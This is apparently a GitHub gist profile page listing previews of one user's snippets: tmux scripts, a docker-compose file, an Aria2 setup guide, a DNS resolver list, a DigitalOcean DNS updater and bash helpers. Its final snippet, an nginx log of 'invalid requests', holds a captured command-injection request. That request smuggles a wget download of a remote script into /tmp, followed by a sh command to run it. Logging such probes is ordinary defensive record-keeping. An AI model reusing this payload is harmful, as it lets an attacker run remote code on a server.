Skip to content

Instantly share code, notes, and snippets.

Avatar
💭
If I do not respond quickly, try me on Twitter at @creativeboulder.

Joshua Canfield jcanfield

💭
If I do not respond quickly, try me on Twitter at @creativeboulder.
View GitHub Profile
@jcanfield
jcanfield / tmux-new.sh
Created Sep 11, 2022
Simple Bash Script to Create a New Session
View tmux-new.sh
#!/bin/bash
# USAGE: ./tmux-new.sh SESSION_NAME
#
# Credit to Keon Woortman
# URL: https://koenwoortman.com/tmux-sessions-should-be-nested-with-care-unset-tmux-to-force/
session_name="$1"
# 1. First you check if a tmux session exists with a given name.
tmux has-session -t=$session_name 2> /dev/null
@jcanfield
jcanfield / docker-compose.yml
Last active Feb 9, 2022
creativeboulder-com_testing
View docker-compose.yml
version: '3'
services:
app:
image: 'jc21/nginx-proxy-manager:latest'
restart: unless-stopped
ports:
- '80:80'
- '81:81'
- '443:443'
volumes:
@jcanfield
jcanfield / aria2c_webUI.md
Created Jan 31, 2022 — forked from GAS85/aria2c_webUI.md
Aria2 + Ubuntu 18.04 + Apache2 + Web UI
View aria2c_webUI.md
OS: Ubuntu 18.04 Apache/2.4.18 1.0.2g-1ubuntu4.10
Aim: to install Aria2 with WebUI and secure Token.
IP Addr of your Aria2 server is 192.168.0.111
Your local IP network is 192.168.0.0/24

Aria 2

1. Installation

Install aria2 package:

View gist:dbea452188b9f93419ff352117972791
195.114.173.153 # ns1.internetia.pl - Netia
195.116.55.69 # ns2.internetia.pl - Netia
8.8.8.8 # google-public-dns-a.google.com - Google
8.8.4.4 # google-public-dns-b.google.com - Google
208.67.222.222 # resolver1.opendns.com - OpenDNS
208.67.220.220 # resolver2.opendns.com - OpenDNS
208.67.222.220 # resolver3.opendns.com - OpenDNS
208.67.220.222 # resolver4.opendns.com - OpenDNS
149.156.1.3 # nms.cyf-kr.edu.pl
149.156.4.11 # info.cyf-kr.edu.pl
View tmux-cheatsheet.markdown

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname
@jcanfield
jcanfield / dnsupdater.sh
Created Jul 15, 2018 — forked from fibergames/dnsupdater.sh
DigitalOcean dynamic DNS updater script for your subdomain
View dnsupdater.sh
#!/bin/bash
# Created by fibergames.net // Loranth Moroz // v.0.5
# Required tools to run this script as is: curl (https://curl.haxx.se/) & jq (https://stedolan.github.io/jq/)
# This only works for Digitalocean - 10$ credit referral link: https://m.do.co/c/fed75101475f
# Edit token, domain, subdomain to fit your needs
# Substitute ipinfo.io with your own ip-checker e.g. ipecho.net/plain
# This is to be used with crontab -> example entry to run it every 3hours:
# 0 */3 * * * sh /path/to/script/dnsupdater.sh
# Don't forget to make it executable: chmod +x /path/to/script/dnsupdater.sh
@jcanfield
jcanfield / sublime-text_20180711.log
Created Jul 11, 2018
Sublime Text 3dev Freezes
View sublime-text_20180711.log
error 14:31:51.003155 -0600 Sublime Text AEGetDescData of non-desc type 'reco' not a good idea
default 14:31:51.863304 -0600 Sublime Text TIC Enabling TLS [1:0x608000173a40]
default 14:31:51.863414 -0600 Sublime Text TIC TCP Conn Start [1:0x608000173a40]
default 14:31:51.863727 -0600 Sublime Text Task <B3A60CA8-6401-45EC-8631-813C1710F547>.<0> setting up Connection 1
default 14:31:51.863770 -0600 Sublime Text [1 <private> <private>] start
default 14:31:51.928317 -0600 Sublime Text TIC TLS Event [1:0x608000173a40]: 1, Pending(0)
default 14:31:51.976038 -0600 Sublime Text TIC TLS Event [1:0x608000173a40]: 2, Pending(0)
default 14:31:51.989940 -0600 Sublime Text UNIX error exception: 17
default 14:31:52.016819 -0600 Sublime Text UNIX error exception: 17
default 14:31:52.025569 -0600 Sublime Text UNIX error exception: 17
@jcanfield
jcanfield / .bash_aliases
Created Jul 10, 2018 — forked from insane-dev/.bash_aliases
Commonly used bash aliases
View .bash_aliases
#!/bin/bash
# Colors
RED='\033[0;31m'
BLACK='\033[0;30m'
DARK_GRAY='\033[1;30m'
LIGHT_RED='\033[1;31m'
GREEN='\033[0;32m'
LIGHT_GREEN='\033[1;32m'
BROWN_ORANGE='\033[0;33m'
@jcanfield
jcanfield / ask.sh
Created Jul 9, 2018
Bash General-Purpose Yes/No Prompt Function ("ask")
View ask.sh
# This is a general-purpose function to ask Yes/No questions in Bash, either
# with or without a default answer. It keeps repeating the question until it
# gets a valid answer.
ask() {
# https://djm.me/ask
local prompt default reply
while true; do
@jcanfield
jcanfield / nginx.log
Created Jun 18, 2018
Invalid Nginx requests
View nginx.log
189.28.166.4 - - [18/Jun/2018:11:29:31 -0600] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;sh%20/tmp/r%27$ HTTP/1.1" 404 134 "-" "Hello, World"